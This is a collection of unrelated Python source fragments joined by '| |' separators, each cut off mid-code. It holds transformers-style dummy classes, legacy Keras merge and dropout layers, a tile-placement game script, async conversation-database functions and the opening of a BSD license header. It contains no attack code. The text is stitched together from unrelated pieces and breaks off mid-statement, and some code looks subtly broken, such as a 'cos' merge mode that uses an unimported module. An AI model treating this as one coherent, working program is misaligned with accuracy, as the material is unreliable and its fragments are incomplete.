requires_backends(self, ["torch"])
POOLFORMER_PRETRAINED_MODEL_ARCHIVE_LIST = None
class PoolFormerForImageClassification(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PoolFormerModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
class PoolFormerPreTrainedModel(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, **kwargs):
requires_backends(self, ["torch"])
PROPHETNET_PRETRAINED_MODEL_ARCHIVE_LIST = None
class ProphetNetDecoder(metaclass=DummyObject):
_backends = ["torch"]
def __init__(self, *args, | |
[]
self.regularizers = []
self.constraints = []
self.updates = []
@property
def output_shape(self):
return (None, self.input_shape[2])
def get_output(self, train=False):
X = self.get_input(train)
if self.mode == 'ave':
s = K.mean(X, axis=1)
return s
if self.mode == 'sum':
s = K.sum(X, axis=1)
return s
elif self.mode == 'mul':
s = K.prod(X, axis=1)
return s
else:
raise Exception('Unknown merge mode')
def get_config(self):
config = {'name': self.__class__.__name__,
'mode': self.mode}
base_config = super(TimeDistributedMerge, self).get_config()
return dict(list(base_config.items()) + list(config.items()))
class Merge(Layer):
'''Merge the output of a list of layers or containers into a single tensor.
# Arguments
mode: one of {sum, mul, concat, ave, dot}.
sum: sum the outputs (shapes must match)
mul: multiply the outputs element-wise (shapes must match)
concat: concatenate the outputs along the axis specified by `concat_axis`
ave: average the outputs (shapes must match)
concat_axis: axis to use in `concat` mode.
dot_axes: axis or axes to use in `dot` mode
(see [the Numpy documentation](http://docs.scipy.org/doc/numpy-1.10.1/reference/generated/numpy.tensordot.html) for more details).
# TensorFlow warning
`dot` mode only works with Theano for the time being.
# Examples
```python
left = Sequential()
left.add(Dense(50, input_shape=(784,)))
left.add(Activation('relu'))
right = Sequential()
right.add(Dense(50, input_shape=(784,)))
right.add(Activation('relu'))
model = Sequential()
model.add(Merge([left, right], mode='sum'))
model.add(Dense(10))
model.add(Activation('softmax'))
model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
model.fit([X_train, X_train], Y_train, batch_size=128, nb_epoch=20,
validation_data=([X_test, X_test], Y_test))
```
'''
def __init__(self, layers, mode='sum', concat_axis=-1, dot_axes=-1):
if len(layers) < 2:
raise Exception('Please specify two or more input layers '
'(or containers) to merge')
if mode not in {'sum', 'mul', 'concat', 'ave', 'join', 'cos', 'dot'}:
raise Exception('Invalid merge mode: ' + str(mode))
if mode in {'sum', 'mul', 'ave', 'cos'}:
input_shapes = set([l.output_shape for l in layers])
if len(input_shapes) > 1:
raise Exception('Only layers of same output shape can '
'be merged using ' + mode + ' mode. ' +
'Layer shapes: %s' % ([l.output_shape for l in layers]))
if mode in {'cos', 'dot'}:
if K._BACKEND != 'theano':
raise Exception('"' + mode + '" merge mode will only work with Theano.')
if len(layers) > 2:
raise Exception(mode + ' merge takes exactly 2 layers')
shape1 = layers[0].output_shape
shape2 = layers[1].output_shape
n1 = len(shape1)
n2 = len(shape2)
if mode == 'dot':
if type(dot_axes) == int:
if dot_axes < 0:
dot_axes = [range(dot_axes % n1, n1), range(dot_axes % n2, n2)]
else:
dot_axes = [range(n1 - dot_axes, n2), range(1, dot_axes + 1)]
if type(dot_axes) not in [list, tuple]:
raise Exception('Invalid type for dot_axes - should be a list.')
if len(dot_axes) != 2:
raise Exception('Invalid format for dot_axes - should contain two elements.')
if type(dot_axes[0]) not in [list, tuple, range] or type(dot_axes[1]) not in [list, tuple, range]:
raise Exception('Invalid format for dot_axes - list elements should have type "list" or "tuple".')
for i in range(len(dot_axes[0])):
if shape1[dot_axes[0][i]] != shape2[dot_axes[1][i]]:
raise Exception('Dimension incompatibility using dot mode: ' +
'%s != %s. ' % (shape1[dot_axes[0][i]], shape2[dot_axes[1][i]]) +
'Layer shapes: %s, %s' % (shape1, shape2))
elif mode == 'concat':
input_shapes = set()
for l in layers:
oshape = list(l.output_shape)
oshape.pop(concat_axis)
oshape = tuple(oshape)
input_shapes.add(oshape)
if len(input_shapes) > 1:
raise Exception('"concat" mode can only merge layers with matching ' +
'output shapes except for the concat axis. ' +
'Layer shapes: %s' % ([l.output_shape for l in layers]))
self.mode = mode
self.concat_axis = concat_axis
self.dot_axes = dot_axes
self.layers = layers
self.params = []
self.regularizers = []
self.constraints = []
self.updates = []
for l in self.layers:
params, regs, consts, updates = l.get_params()
self.regularizers += regs
self.updates += updates
# params and constraints have the same size
for p, c in zip(params, consts):
if p not in self.params:
self.params.append(p)
self.constraints.append(c)
super(Merge, self).__init__()
@property
def output_shape(self):
input_shapes = [layer.output_shape for layer in self.layers]
if self.mode in ['sum', 'mul', 'ave']:
return input_shapes[0]
elif self.mode == 'concat':
output_shape = list(input_shapes[0])
for shape in input_shapes[1:]:
output_shape[self.concat_axis] += shape[self.concat_axis]
return tuple(output_shape)
elif self.mode == 'join':
return None
elif self.mode == 'dot':
shape1 = list(input_shapes[0])
shape2 = list(input_shapes[1])
dot_axes = []
for axes in self.dot_axes:
dot_axes.append([index-1 for index in axes])
tensordot_output = np.tensordot(np.zeros(tuple(shape1[1:])),
np.zeros(tuple(shape2[1:])),
axes=dot_axes)
if len(tensordot_output.shape) == 0:
shape = (1,)
else:
shape = tensordot_output.shape
return (shape1[0],) + shape
elif self.mode == 'cos':
return (input_shapes[0][0], 1)
def get_params(self):
return self.params, self.regularizers, self.constraints, self.updates
def get_output(self, train=False):
if self.mode == 'sum' or self.mode == 'ave':
s = self.layers[0].get_output(train)
for i in range(1, len(self.layers)):
s += self.layers[i].get_output(train)
if self.mode == 'ave':
s /= len(self.layers)
return s
elif self.mode == 'concat':
inputs = [self.layers[i].get_output(train) for i in range(len(self.layers))]
return K.concatenate(inputs, axis=self.concat_axis)
elif self.mode == 'join':
inputs = OrderedDict()
for i in range(len(self.layers)):
X = self.layers[i].get_output(train)
if X.name is None:
raise ValueError('merge_mode="join" only works with named inputs.')
else:
inputs[X.name] = X
return inputs
elif self.mode == 'mul':
s = self.layers[0].get_output(train)
for i in range(1, len(self.layers)):
s *= self.layers[i].get_output(train)
return s
elif self.mode == 'dot':
if K._BACKEND != 'theano':
raise Exception('"dot" merge mode will only work with Theano.')
from theano import tensor as T
l1 = self.layers[0].get_output(train)
l2 = self.layers[1].get_output(train)
output = T.batched_tensordot(l1, l2, self.dot_axes)
output_shape = list(self.output_shape)
output_shape[0] = l1.shape[0]
output = output.reshape(tuple(output_shape))
return output
elif self.mode == 'cos':
if K._BACKEND != 'theano':
raise Exception('"dot" merge mode will only work with Theano.')
import theano
l1 = self.layers[0].get_output(train)
l2 = self.layers[1].get_output(train)
output = T.batched_tensordot(l1, l2, self.dot_axes) / T.sqrt(T.batched_tensordot(l1, l1, self.dot_axes) * T.batched_tensordot(l2, l2, self.dot_axes))
output = output.dimshuffle((0, 'x'))
return output
else:
raise Exception('Unknown merge mode.')
def get_input(self, train=False):
res = []
for i in range(len(self.layers)):
o = self.layers[i].get_input(train)
if not type(o) == list:
o = [o]
for output in o:
if output not in res:
res.append(output)
return res
@property
def input(self):
return self.get_input()
def supports_masked_input(self):
return False
def get_output_mask(self, train=None):
return None
def get_weights(self):
weights = []
for l in self.layers:
weights += l.get_weights()
return weights
def set_weights(self, weights):
for i in range(len(self.layers)):
nb_param = len(self.layers[i].params)
self.layers[i].set_weights(weights[:nb_param])
weights = weights[nb_param:]
def get_config(self):
config = {'name': self.__class__.__name__,
'layers': [l.get_config() for l in self.layers],
'mode': self.mode,
'concat_axis': self.concat_axis,
'dot_axes': self.dot_axes}
base_config = super(Merge, self).get_config()
return dict(list(base_config.items()) + list(config.items()))
class Dropout(MaskedLayer):
'''Apply Dropout to the input. Dropout consists in randomly setting
a fraction `p` of input units to 0 at each update during training time,
which helps prevent overfitting.
# Arguments
p: float between 0 and 1. Fraction of the input units to drop.
# References
- [Dropout: A Simple Way to Prevent Neural Networks from Overfitting](http://www.cs.toronto.edu/~rsalakhu/papers/srivastava14a.pdf)
'''
def __init__(self, p, **kwargs):
super(Dropout, self).__init__(**kwargs)
self.p = p
def get_output(self, train=False):
X = self.get_input(train)
if self.p > 0.:
if train:
X = K.dropout(X, level=self.p)
return X
def get_config(self):
config = {'name': self.__class__.__name__,
'p': self.p}
base_config = super(Dropout, self).get_config()
return dict(list(base_config.items()) + list(config.items()))
class Activation(MaskedLayer):
'''Apply an activation function to an output.
# Input shape
Arbitrary. Use the keyword argument `input_shape`
(tuple of integers, does not include the samples axis)
when using this layer as the first layer in a model.
# Output shape
Same shape as input.
# Arguments:
activation: name of activation function to use
(see: [activations](../activations.md)),
or alternatively, a Theano or TensorFlow operation.
'''
def __init__(self, activation, **kwargs):
super(Activation, self).__init__(**kwargs)
self.activation = activations.get(activation)
def get_output(self, train=False):
X = self.get_input(train)
return self.activation(X)
def get_config(self):
config = {'name': self.__class__.__name__,
'activation': self.activation.__name__}
base_config = super(Activation, self).get_config()
return dict(list(base_config.items()) + list(config.items()))
class Reshape(Layer):
'''Reshape an output to a certain shape.
# Input shape
Arbitrary, although all dimensions in the input shaped must be fixed.
Use the keyword argument `input_shape`
(tuple of integers, does not include the samples axis)
when using this layer as the first layer in a model.
# Output shape
`(batch_size,) + dims`
# Arguments
dims: target shape. Tuple of integers,
does not include the samples dimension (batch size).
'''
def __init__(self, dims, **kwargs):
super(Reshape, self).__init__(**kwargs)
self.dims = tuple(dims)
def _fix_unknown_dimension(self, input_shape, output_shape):
'''Find and replace a single missing dimension in an output shape
given and input shape.
A near direct port of the internal numpy function _fix_unknown_dimension
in numpy/core/src/multiarray/shape.c
# Arguments
input_shape: shape of array being reshaped
output_shape: desired shaped of the array with | |
#!/usr/bin/env python
import argparse
import boundary
import functools
import graphics
import itertools
import json
import operator
import os.path
import random
import re
import secrets
import sys
import traceback
from boundary import Boundary
from boundary import Domain
from boundary import Orientation
from boundary import Vect
from collections import deque
from enum import Enum, auto
DEBUG_PRINTOUT = False
DEFAULT_TILE_SIZE = 100
SCREENSHOT_PATH = './screenshot.jpg'
DUMP_PATH = './dump.bmp'
class RiverPlacement(Enum):
USE_T = auto()
EXCLUDE_T = auto()
SHORT_RIVER = auto()
LONG_RIVER = auto()
RIVER_PLACEMENT_DEFAULT_T_POLICY = RiverPlacement.USE_T
RIVER_PLACEMENT_DEFAULT_LENGTH_POLICY = RiverPlacement.SHORT_RIVER
def warn(msg):
print('Warning: ' + msg)
def error(msg):
print('Error: ' + msg, file = sys.stderr)
exit(-1)
def override(f):
# Eye-candy decorator
return f
def handle_assertion_error():
_, _, tb = sys.exc_info()
tb_info = traceback.extract_tb(tb)
filename, line, func, text = tb_info[-1]
warn('An error occurred in file {} line {} in statement "{}"'.format(filename, line, text))
class Tile:
"""A tile (usually a game tile) defined by the description of its four sides (desc), its cardinality (max_nb) and optionally a graphical representation (img)"""
def __init__(self, desc = [None, None, None, None], max_nb = 1, img_path = '', tags = []):
self.desc = desc
self.max_nb = max_nb
self.img_path = img_path
self.img = None
self.tags = tags
def __repr__(self):
return 'Tile({})'.format(self.desc)
@classmethod
def from_json_description(cls, json_obj, basedir):
assert 'description' in json_obj.keys()
desc = json_obj['description']
max_nb = json_obj['cardinality'] if 'cardinality' in json_obj.keys() else 1
img_path = os.path.join(basedir, json_obj['img']) if 'img' in json_obj.keys() and json_obj['img'] else ''
tags = []
for id in range(10):
key = 'tag' + str(id)
if key in json_obj.keys():
tags.append(json_obj[key])
return cls(desc, max_nb, img_path, tags)
@classmethod
def from_uniform_color(cls, color, size, tag = ''):
tile = cls()
tile.img = graphics.draw_uniform_tile(color, size)
tile.tags.append(tag)
assert tile.get_size() == size
return tile
def load_image(self):
try:
self.img = graphics.load_image(self.img_path)
except Exception as e:
warn('Could not load image: {} (message: {})'.format(self.img_path, e))
self.img = None
def draw_image(self, size):
assert self.img is None
self.img = graphics.draw_game_tile(self.desc, size)
assert self.get_size() == size
def get_size(self):
if self.img is not None:
assert self.img.height() == self.img.width()
return self.img.width()
else:
return 0
def parse_tileset_description_file(json_file):
fp = None
cumul = 0
try:
fp = open(json_file, 'r')
tileset_json = json.load(fp)
assert 'tiles' in tileset_json.keys()
for tile_json in tileset_json['tiles']:
tile = Tile.from_json_description(tile_json, os.path.dirname(json_file))
assert tile.max_nb >= 0
if tile.max_nb > 0:
if 'start' in tile.tags:
assert tile.max_nb == 1
cumul += tile.max_nb
yield tile
except FileNotFoundError:
warn('Could not load file {}'.format(json_file))
except AssertionError:
handle_assertion_error()
except Exception:
warn('Error parsing file {}'.format(json_file))
raise
finally:
if fp is not None:
fp.close()
if cumul > 0:
print('Loaded {} tiles from file {}'.format(cumul, json_file))
def load_or_draw_tile_images(tileset, draw_all = False):
assert graphics.is_init()
tile_size = 0
if not draw_all:
for tile in tileset:
tile.load_image()
if tile.get_size() != 0:
if tile_size == 0:
tile_size = tile.get_size()
elif tile.get_size() != tile_size:
error('Image size of file {} ({}) does not match the previous size ({})'.format(tile.img_path, tile.get_size(), tile_size))
if tile_size == 0:
tile_size = DEFAULT_TILE_SIZE
for tile in tileset:
if tile.img is None:
tile.draw_image(tile_size)
assert tile.img is not None
return tile_size
class PositionedTile:
"""Declare a position on the grid where a tile could be placed"""
def __init__(self, pos, segments = []):
assert isinstance(pos, Vect)
self.pos = pos
if len(segments) == 1:
self.segment = segments[0] # Common segment between the current map boundary and this tile
else:
self.segment = None # Use None if unknown, or to indicate a forbidden position
@classmethod
def from_boundary_edge(cls, border, point, edge, domain = Domain.EXTERIOR):
assert isinstance(border, Boundary)
assert isinstance(point, Vect)
assert isinstance(edge, Vect)
tile_border = boundary.from_edge(point, edge, Orientation.COUNTERCLOCKWISE, domain)
pos = tile_border.bottom_left()
tile_border.rotate_to_start_with(pos)
return cls(pos, border.common_segments(tile_border))
def __repr__(self):
return 'PositionedTile(pos = {}, segment = {})'.format(self.pos, self.segment)
def get_l1_distance(self):
return self.pos.l1_distance()
def get_segment(self):
return self.segment if self.segment is not None else (0, 0, 0)
def get_segment_length(self):
(_, _, L) = self.get_segment()
return L
def iter_segment(self):
(_, j, L) = self.get_segment()
return self.get_boundary().iter_slice(j, j + L)
def iter_complement_segment(self):
(_, j, L) = self.get_segment()
tile_border = self.get_boundary()
if L == 0:
return tile_border.iter_all(j)
else:
return tile_border.iter_slice(j + L, j)
def get_boundary(self, desc = [None, None, None, None]):
return boundary.get_tile(self.pos, desc)
class PlacedTile(PositionedTile):
"""Declares a Tile placed on the grid, with its position and orientation (r)"""
def __init__(self, tile, pos, r, segment = None):
assert isinstance(tile, Tile)
PositionedTile.__init__(self, pos, [] if segment is None else [segment])
self.tile = tile
self.r = r
@override
def __repr__(self):
return 'PlacedTile(pos = {}, r = {}, segment = {}, tile = {})'.format(self.pos, self.r, self.segment, self.tile)
@classmethod
def from_positioned_tile(cls, pos_tile, tile, r):
assert isinstance(pos_tile, PositionedTile)
assert isinstance(tile, Tile)
return cls(tile, pos_tile.pos, r, pos_tile.segment)
def draw(self, display):
assert isinstance(display, graphics.GridDisplay)
assert self.tile.img is not None
display.set_tile(self.tile.img, self.pos.x, self.pos.y, self.r)
@override
def get_boundary(self):
desc = deque(self.tile.desc)
desc.rotate(self.r)
return PositionedTile.get_boundary(self, desc)
class CompositeTile:
"""A super-tile made of several unit tiles (e.g. the city of Carcasonne)"""
class Elt:
def __init__(self, tile, offset):
assert isinstance(tile, Tile)
assert isinstance(offset, Vect)
self.tile = tile
self.offset = offset
vect_re = re.compile(r'[Vv]ect_(\d+)_(\d+)')
def __init__(self):
self.elts = []
def append(self, tile):
offset = None
for tag in tile.tags:
result = self.vect_re.match(tag)
if result:
offset = Vect(int(result.group(1)), int(result.group(2)))
if offset:
self.elts.append(CompositeTile.Elt(tile, offset))
else:
warn('Could not find the offset pattern in the tags for tile {}. Tags = {}.'.format(tile, tile.tags))
def __reduce(self, fun, initializer = None):
self.elts.sort(key=operator.attrgetter('offset'))
return functools.reduce(fun, self.elts, initializer)
def draw(self, display, pos, r = 0):
assert isinstance(pos, Vect)
assert isinstance(display, graphics.GridDisplay)
def draw_elt(_, elt):
PlacedTile(elt.tile, pos + elt.offset.rotate(r), r).draw(display)
return None
self.__reduce(draw_elt)
def get_boundary(self, pos, r = 0):
assert isinstance(pos, Vect)
def merge_boundary(border, elt):
border.merge(PlacedTile(elt.tile, pos + elt.offset.rotate(r), r).get_boundary())
return border
return self.__reduce(merge_boundary, Boundary())
class TileSubset:
def __init__(self, predicate, shuffle = True, output_n = -1):
self.predicate = predicate
self.shuffle = shuffle # Shuffle result
self.output_n = output_n # If < 0, output all
def partition_iter(self, tileset_iter):
it0, it1 = itertools.tee(tileset_iter)
selection = list(filter(self.predicate, it0))
if self.shuffle:
selection = random.sample(selection, len(selection))
if self.output_n >= 0:
selection = selection[:self.output_n]
return selection, itertools.filterfalse(self.predicate, it1)
def partition(self, tileset_iter):
part1, part2_iter = self.partition_iter(tileset_iter)
return part1, list(part2_iter)
@staticmethod
def regular_start():
def pred_regular_start(tile):
return 'start' in tile.tags and 'river' not in tile.tags
return TileSubset(pred_regular_start, output_n = 1)
@staticmethod
def carcassonne_city():
def pred_city(tile):
return 'carcassonne_city' in tile.tags
return TileSubset(pred_city, shuffle = False)
@staticmethod
def river():
def pred_river(tile):
return 'river' in tile.tags
return TileSubset(pred_river, shuffle = False)
@staticmethod
def river_source(n = -1):
def pred_river_source(tile):
return 'river' in tile.tags and 'source' in tile.tags
return TileSubset(pred_river_source, output_n = n)
@staticmethod
def river_exclude_t_shaped():
def pred_river_t_shaped(tile):
return 'river' in tile.tags and list(tile.desc).count('R') == 3
return TileSubset(pred_river_t_shaped, output_n = 0)
@staticmethod
def river_not_source_nor_sink():
def pred_river_others(tile):
return 'river' in tile.tags and 'source' not in tile.tags and 'lake' not in tile.tags
return TileSubset(pred_river_others)
@staticmethod
def river_sink(n = -1):
def pred_river_sink(tile):
return 'river' in tile.tags and 'lake' in tile.tags
return TileSubset(pred_river_sink, output_n = n)
@staticmethod
def shuffle_remaining():
return TileSubset(lambda _: True)
@staticmethod
def exclude_remaining(warn_on_excluded = True):
def pred_exclude_remaining(tile):
if warn_on_excluded:
warn('Excluded tile: {}'.format(tile))
return True
return TileSubset(pred_exclude_remaining, output_n = 0)
def iterate_tile_predicates(tile_predicates, tileset_iter):
remaining = tileset_iter
for predicate in tile_predicates:
tile_subset, remaining = predicate.partition_iter(remaining)
yield tile_subset
TileSubset.exclude_remaining().partition_iter(remaining)
def iterate_tilesets(river_tileset, regular_tileset, river_tileset_period = 0, infinite = False):
river_flag = len(river_tileset) > 0
first = True
while True:
if river_flag:
if river_tileset_period == 0:
# Single use of the river tileset
if first:
yield river_tileset
else:
# Reuse the river tileset periodically
yield river_tileset
for _ in range(max(1, river_tileset_period)):
yield regular_tileset
else:
yield regular_tileset
if not infinite:
break
first = False
def shuffle_tileset(tileset, first_tileset_flag, river_placement_policies = []):
river_flag = any('river' in tile.tags for tile in tileset)
all_tiles = itertools.chain.from_iterable(itertools.repeat(tile, tile.max_nb) for tile in tileset)
if river_flag:
river_long = RiverPlacement.LONG_RIVER in river_placement_policies
river_exclude_t_shaped = RiverPlacement.EXCLUDE_T in river_placement_policies
# River sources
if river_long and not first_tileset_flag:
nb_of_sources = 0
else:
nb_of_sources = 1
# River sinks
if river_exclude_t_shaped:
nb_of_sinks = 1
else:
nb_of_sinks = 2
if river_long:
nb_of_sinks = nb_of_sinks - 1
# Predicates
tile_predicates = [
TileSubset.river_source(nb_of_sources)
]
if river_exclude_t_shaped:
tile_predicates += [
TileSubset.river_exclude_t_shaped()
]
tile_predicates += [
TileSubset.river_not_source_nor_sink(),
TileSubset.river_sink(nb_of_sinks),
]
elif first_tileset_flag:
tile_predicates = [
TileSubset.regular_start(),
TileSubset.shuffle_remaining()
]
else:
tile_predicates = [
TileSubset.shuffle_remaining()
]
return iterate_tile_predicates(tile_predicates, all_tiles)
class CandidateTiles:
def __init__(self, on_update = None, on_delete = None):
assert not on_update or callable(on_update)
assert not on_delete or callable(on_delete)
self.sorted_positions = [] # | |
1 from actions where conv=$1 and id=$2', c.id, since_id))
where_logic &= V('a.id') > since_id
if not inc_seen:
where_logic &= V('a.act') != ActionTypes.seen
return await or404(
conns.main.fetchval_b(
"""
select array_to_json(array_agg(json_strip_nulls(row_to_json(t))), true)
from (
select a.id, a.act, a.ts, actor_user.email actor,
a.body, a.msg_format, a.warnings,
prt_user.email participant, follows_action.id follows, parent_action.id parent,
(select array_agg(row_to_json(f))
from (
select storage, storage_expires, content_disp, hash, content_id, name, content_type, size
from files
where files.action = a.pk
order by content_id -- TODO only used in tests I think, could be removed
) f
) as files
from actions as a
join users as actor_user on a.actor = actor_user.id
join conversations as c on a.conv = c.id
left join users as prt_user on a.participant_user = prt_user.id
left join actions as follows_action on a.follows = follows_action.pk
left join actions as parent_action on a.parent = parent_action.pk
where :where
order by a.id
) t
""",
where=where_logic,
)
)
async def construct_conv(conns: Connections, user_id: int, conv_ref: StrInt, since_id: int = None):
actions_json = await conv_actions_json(conns, user_id, conv_ref, since_id=since_id)
actions = json.loads(actions_json)
return _construct_conv_actions(actions)
def _construct_conv_actions(actions: List[Dict[str, Any]]) -> Dict[str, Any]: # noqa: 901
subject = None
created = None
messages = {}
participants = {}
for action in actions:
act: ActionTypes = action['act']
action_id: int = action['id']
actor: str = action['actor']
if act in {ActionTypes.conv_publish, ActionTypes.conv_create}:
subject = action['body']
created = action['ts']
elif act == ActionTypes.subject_modify:
subject = action['body']
elif act == ActionTypes.msg_add:
# FIXME add actor to message
d = {
'ref': action_id,
'author': actor,
'body': action['body'],
'created': action['ts'],
'format': action['msg_format'],
'parent': action.get('parent'),
'active': True,
}
files = action.get('files')
if files:
d['files'] = files
messages[action_id] = d
elif act in _msg_action_types:
message = messages[action['follows']]
message['ref'] = action_id
if act == ActionTypes.msg_modify:
message['body'] = action['body']
if 'editors' in message:
message['editors'].append(actor)
else:
message['editors'] = [actor]
elif act == ActionTypes.msg_delete:
message['active'] = False
elif act == ActionTypes.msg_recover:
message['active'] = True
messages[action_id] = message
elif act == ActionTypes.prt_add:
participants[action['participant']] = {'id': action_id} # perms not implemented yet
elif act == ActionTypes.prt_remove:
participants.pop(action['participant'])
elif act not in _meta_action_types:
raise NotImplementedError(f'action "{act}" construction not implemented')
msg_list = []
for msg in messages.values():
parent = msg.pop('parent', -1)
# if 'parent' is missing (-1 here), msg has already been processed
if parent != -1:
if parent:
parent_msg = messages[parent]
if 'children' not in parent_msg:
parent_msg['children'] = [msg]
else:
parent_msg['children'].append(msg)
else:
msg_list.append(msg)
return {'subject': subject, 'created': created, 'messages': msg_list, 'participants': participants}
async def create_conv( # noqa: 901
*,
conns: Connections,
creator_email: str,
actions: List[Action],
given_conv_key: Optional[str] = None,
leader_node: str = None,
live: bool = True,
spam: bool = False,
warnings: Dict[str, str] = None,
) -> Tuple[int, str]:
"""
Create a new conversation, this is used:
* locally when someone creates a conversation
* upon receiving an SMTP message not associate with an existing conversation
* upon receiving a new conversation view em2-push
:param conns: connections to use when creating conversation
:param creator_email: email address of user creating conversation
:param actions: list of actions: add message, add participant, publish or create
:param given_conv_key: given conversation key, checked to confirm it matches generated conv key if given
:param leader_node: node of the leader of this conversation, black if this node
:param live: whether to mark the conversation has live
:param spam: whether conversation is spam
:param warnings: warnings about the conversation
:return: tuple conversation id and key
"""
main_action: Optional[Action] = None
# don this way since order is important when creating participants and prt_add actions
other_prt_emails: List[str] = []
# lookup from email address of participants to IDs of the actions used when adding that prt
prt_action_lookup: Dict[str, Optional[int]] = {}
messages: List[Action] = []
for action in actions:
if action.act in {ActionTypes.conv_publish, ActionTypes.conv_create}:
main_action = action
elif action.act == ActionTypes.msg_add:
messages.append(action)
elif action.act == ActionTypes.prt_add:
other_prt_emails.append(action.participant)
if action.id:
prt_action_lookup[action.participant] = action.id
assert main_action is not None, 'no publish or create action found'
ts = main_action.ts or utcnow()
publish = main_action.act == ActionTypes.conv_publish
creator_id = main_action.actor_id
conv_key = generate_conv_key(creator_email, ts, main_action.body) if publish else draft_conv_key()
if given_conv_key is not None and given_conv_key != conv_key:
raise JsonErrors.HTTPBadRequest('invalid conversation key', details={'expected': conv_key})
async with conns.main.transaction():
conv_id = await conns.main.fetchval(
"""
insert into conversations (key, creator, publish_ts, created_ts, updated_ts, leader_node, live)
values ($1, $2 , $3 , $4 , $4 , $5 , $6)
on conflict (key) do nothing
returning id
""",
conv_key,
creator_id,
ts if publish else None,
ts,
leader_node,
live,
)
if conv_id is None:
raise JsonErrors.HTTPConflict(message='key conflicts with existing conversation')
await conns.main.execute(
'insert into participants (conv, user_id, seen, inbox) (select $1, $2, true, null)', conv_id, creator_id
)
if other_prt_emails:
part_users = await get_create_multiple_users(conns, set(other_prt_emails))
other_user_ids = [part_users[u_email] for u_email in other_prt_emails]
await conns.main.execute(
'insert into participants (conv, user_id, spam) (select $1, unnest($2::int[]), $3)',
conv_id,
other_user_ids,
True if spam else None,
)
user_ids = [creator_id] + list(other_user_ids)
action_ids = [1] + [prt_action_lookup.get(u_email) for u_email in other_prt_emails]
else:
part_users = {}
other_user_ids = []
user_ids = [creator_id]
action_ids = []
await conns.main.execute(
"""
insert into actions (conv, act , actor, ts, participant_user , id) (
select $1 , 'participant:add', $2 , $3, unnest($4::int[]), unnest($5::int[])
)
""",
conv_id,
creator_id,
ts,
user_ids,
action_ids,
)
warnings_ = json.dumps(warnings) if warnings else None
values = [
Values(
conv=conv_id,
id=m.id,
act=ActionTypes.msg_add,
actor=creator_id,
ts=ts,
body=m.body,
preview=message_preview(m.body, m.msg_format),
msg_format=m.msg_format,
warnings=warnings_,
)
for m in messages
]
msg_action_pks = await conns.main.fetch_b(
'insert into actions (:values__names) values :values returning pk', values=MultipleValues(*values)
)
await conns.main.execute(
"""
insert into actions (conv, act, actor, ts, body, id)
values ($1 , $2 , $3 , $4, $5 , $6)
""",
conv_id,
main_action.act,
creator_id,
ts,
main_action.body,
main_action.id,
)
await update_conv_users(conns, conv_id)
for r, m in zip(msg_action_pks, messages):
action_pk = r[0]
if m.files:
await create_files(conns, m.files, conv_id, action_pk)
if m.parent:
await conns.main.execute(
"""
update actions set parent=pk from
(select pk from actions where conv=$1 and id=$2) t
where conv=$1 and pk=$3
""",
conv_id,
m.parent,
action_pk,
)
if not publish:
updates = (UpdateFlag(creator_id, [(ConvFlags.draft, 1), (ConvFlags.all, 1)]),)
elif spam:
updates = (
UpdateFlag(creator_id, [(ConvFlags.sent, 1), (ConvFlags.all, 1)]),
*(UpdateFlag(u_id, [(ConvFlags.spam, 1), (ConvFlags.all, 1)]) for u_id in other_user_ids),
)
else:
updates = (
UpdateFlag(creator_id, [(ConvFlags.sent, 1), (ConvFlags.all, 1)]),
*(
UpdateFlag(u_id, [(ConvFlags.inbox, 1), (ConvFlags.unseen, 1), (ConvFlags.all, 1)])
for u_id in other_user_ids
),
)
await update_conv_flags(conns, *updates)
await search_create_conv(
conns,
conv_id=conv_id,
creator_email=creator_email,
creator_id=creator_id,
users=part_users,
subject=main_action.body,
publish=publish,
messages=messages,
)
return conv_id, conv_key
async def create_files(conns: Connections, files: List[File], conv_id: int, action_pk: int):
# TODO cope with repeated content_id
values = [
Values(
conv=conv_id,
action=action_pk,
hash=f.hash,
name=f.name,
content_id=f.content_id,
content_disp=f.content_disp,
content_type=f.content_type,
size=f.size,
storage=f.storage,
download_url=f.download_url,
)
for f in files
]
await conns.main.execute_b(
'insert into files (:values__names) values :values on conflict (conv, content_id) do nothing',
values=MultipleValues(*values),
)
conv_flag_count_sql = """
select
count(*) filter (where inbox is true and deleted is not true and spam is not true) as inbox,
count(*) filter (where inbox is true and deleted is not true and spam is not true and seen is not true) as unseen,
count(*) filter (where c.creator = $1 and publish_ts is null and deleted is not true) as draft,
count(*) filter (where c.creator = $1 and publish_ts is not null and deleted is not true) as sent,
count(*) filter (
where inbox is not true and deleted is not true and spam is not true and c.creator != $1
) as archive,
count(*) as "all",
count(*) filter (where spam is true and deleted is not true) as spam,
count(*) filter (where deleted is true) as deleted
from participants p
join conversations c on p.conv = c.id
where user_id = $1 and (c.publish_ts is not null or c.creator = $1)
limit 9999
"""
conv_label_count_sql = """
select l.id, count(p)
from labels l
left join participants p on label_ids @> array[l.id]
where l.user_id = $1
group by l.id
order by l.ordering, l.id
"""
def _flags_count_key(user_id: int):
return f'conv-counts-flags-{user_id}'
async def get_flag_counts(conns: Connections, user_id, *, force_update=False) -> dict:
"""
Get counts for participant flags. Data is cached to a redis hash and retrieved from there if it exists.
"""
flag_key = _flags_count_key(user_id)
flags = | |
#
#
# Copyright (C) 2006, 2007, 2010, 2011, 2012 Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
